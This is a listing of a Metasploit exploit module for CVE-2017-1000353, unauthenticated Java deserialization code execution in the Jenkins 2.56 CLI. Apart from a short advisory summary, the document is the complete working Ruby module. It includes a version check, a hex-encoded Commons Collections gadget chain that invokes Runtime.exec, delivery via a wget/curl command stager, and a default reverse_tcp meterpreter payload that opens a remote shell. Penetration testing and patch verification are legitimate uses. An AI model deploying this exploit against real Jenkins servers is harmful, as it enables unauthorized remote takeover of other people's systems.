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Jenkins 2.56 CLI Deserialization / Code Execution

Jenkins 2.56 CLI Deserialization / Code Execution
Posted Sep 22, 2020
Authored by Shelby Pace, SSD | Site metasploit.com

An unauthenticated Java object deserialization vulnerability exists in the CLI component for Jenkins versions 2.56 and below. The readFrom method within the Command class in the Jenkins CLI remoting component deserializes objects received from clients without first checking / sanitizing the data. Because of this, a malicious serialized object contained within a serialized SignedObject can be sent to the Jenkins endpoint to achieve code execution on the target.

tags | exploit, java, code execution
advisories | CVE-2017-1000353
SHA-256 | 3729c358cb302e4f78e19a3ad5a83bfe54ed6e185ea35041abb6038c065373da

Jenkins 2.56 CLI Deserialization / Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Jenkins CLI Deserialization',
'Description' => %q{
An unauthenticated Java object deserialization vulnerability exists
in the CLI component for Jenkins versions `v2.56` and below.

The `readFrom` method within the `Command` class in the Jenkins
CLI remoting component deserializes objects received from clients without
first checking / sanitizing the data. Because of this, a malicious serialized
object contained within a serialized `SignedObject` can be sent to the Jenkins
endpoint to achieve code execution on the target.
},
'License' => MSF_LICENSE,
'Author' =>
[
'SSD', # PoC
'Unknown', # Vulnerability discovery
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.jenkins.io/security/advisory/2017-04-26/'],
[ 'URL', 'https://ssd-disclosure.com/ssd-advisory-cloudbees-jenkins-unauthenticated-code-execution/'],
[ 'CVE', '2017-1000353']
],
'Privileged' => false,
'Platform' => 'linux',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[
'Linux',
{
'Platform' => 'linux',
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
}
]
],
'DisclosureDate' => '2017-04-26',
'Notes' =>
{
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ UNRELIABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS ]
},
'DefaultTarget' => 0
)
)

register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'The base path to Jenkins', '/' ])
]
)
end

def check
login_uri = normalize_uri(target_uri.path, 'login')
login_res = send_request_cgi(
'method' => 'GET',
'uri' => login_uri
)

return Exploit::CheckCode::Unknown('Did not receive a response from the server') unless login_res

/Jenkins\s+ver\.\s+(?<version>\d+(?:\.\d+)*)/ =~ login_res.body
return Exploit::CheckCode::Safe('Version of Jenkins cannot be found.') unless version

vers_no = Gem::Version.new(version)
return Exploit::CheckCode::Appears("Jenkins version #{version} detected") if vers_no < Gem::Version.new('2.54')

Exploit::CheckCode::Detected
end

def exploit
print_status('Sending payload...')
execute_cmdstager(noconcat: true)
end

def format_payload(payload_data)
formatted_payload = '74'
formatted_payload << payload_data.length.to_s(16).rjust(4, '0')
formatted_payload << payload_data.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
end

def execute_command(cmd, _opts = {})
sess_uuid = SecureRandom.uuid
sess_uri = normalize_uri(target_uri.path, 'cli')
preamble = '<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='

send_request_cgi(
{
'uri' => sess_uri,
'method' => 'POST',
'headers' =>
{
'Side' => 'download',
'Session' => sess_uuid
}
},
nil, false
) # don't wait for response, and don't disconnect

cmd = build_obj(cmd)
send_request_cgi(
{
'uri' => sess_uri,
'method' => 'POST',
'data' => preamble + [ cmd ].pack('H*'),
'headers' =>
{
'Side' => 'upload',
'Session' => sess_uuid
}
}
)
sleep(2) # give buffer time between requests for processing
end

def build_obj(obj_data)
payload_data = '00000000aced00057372002f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5265666572656e63654d61'
payload_data << '701594ca03984908d7030000787077110000000000000001003f40000000000010737200286a6176612e7574696c2e636f6e63757272656e742'
payload_data << 'e436f70794f6e577269746541727261795365744bbdd092901569d70200014c0002616c74002b4c6a6176612f7574696c2f636f6e6375727265'
payload_data << '6e742f436f70794f6e577269746541727261794c6973743b7870737200296a6176612e7574696c2e636f6e63757272656e742e436f70794f6e5'
payload_data << '77269746541727261794c697374785d9fd546ab90c303000078707704000000027372002a6a6176612e7574696c2e636f6e63757272656e742e'
payload_data << '436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e637572726'
payload_data << '56e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63'
payload_data << '757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6'
payload_data << 'd70617261746f723b7870707372001a6a6176612e73656375726974792e5369676e65644f626a65637409ffbd682a3cd5ff0200035b0007636f'
payload_data << '6e74656e747400025b425b00097369676e617475726571007e000e4c000c746865616c676f726974686d7400124c6a6176612f6c616e672f537'
payload_data << '472696e673b7870757200025b42acf317f8060854e002000078700000050daced0005737200116a6176612e7574696c2e48617368536574ba44'
payload_data << '859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6'
payload_data << 'e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a'
payload_data << '6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e7'
payload_data << '32e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f61706163'
payload_data << '68652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6'
payload_data << 'e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d6954'
payload_data << '72616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d657'
payload_data << '23b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d8'
payload_data << '3418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436'
payload_data << 'f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c'
payload_data << '616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e7'
payload_data << '32e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f'
payload_data << '6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d547'
payload_data << '97065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c'
payload_data << '02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a9902000078700'
payload_data << '00000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078'
payload_data << '707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106'
payload_data << 'a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013'
payload_data << '75720013'
payload_data << '5b4c6a6176612e6c616e672e537472696e673b'
payload_data << 'add256e7e91d7b47'
payload_data << '020000'
payload_data << '7870'
payload_data << '00000001'

obj_data = format_payload(obj_data)
payload_data << obj_data

payload_data << '740004'
payload_data << '65786563' # exec
payload_data << '7571007e0'
payload_data << '01b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c756578'
payload_data << '7200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700'
payload_data << '507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878'
payload_data << '787571007e00110000002f302d02147ed1e347cfebac075517d658628ac128211d8895021500945aaa3b69fb24194cdf22bcee9fc9c5e317266'

# This index is the length of the serialized
# object that belongs to the SignedObject
start_arr = payload_data.index('050daced')
end_arr = payload_data.index('787571007e')
new_arr_len = ((end_arr + 2) / 2) - ((start_arr + 4) / 2)
payload_data[start_arr, 4] = new_arr_len.to_s(16).rjust(4, '0')

payload_data << '0740003445341737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017078737200316f72'
payload_data << '672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced5302000'
payload_data << '14c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c'
payload_data << '656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b03000078707'
payload_data << '37200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c'
payload_data << '656d656e747371007e0018787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136'
payload_data << 'a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740004617364667878'
payload_data << '7371007e001e00000000770400000000787871007e00207371007e00027371007e000577040000000271007e001a71007e00097871007e00207078'
end
end
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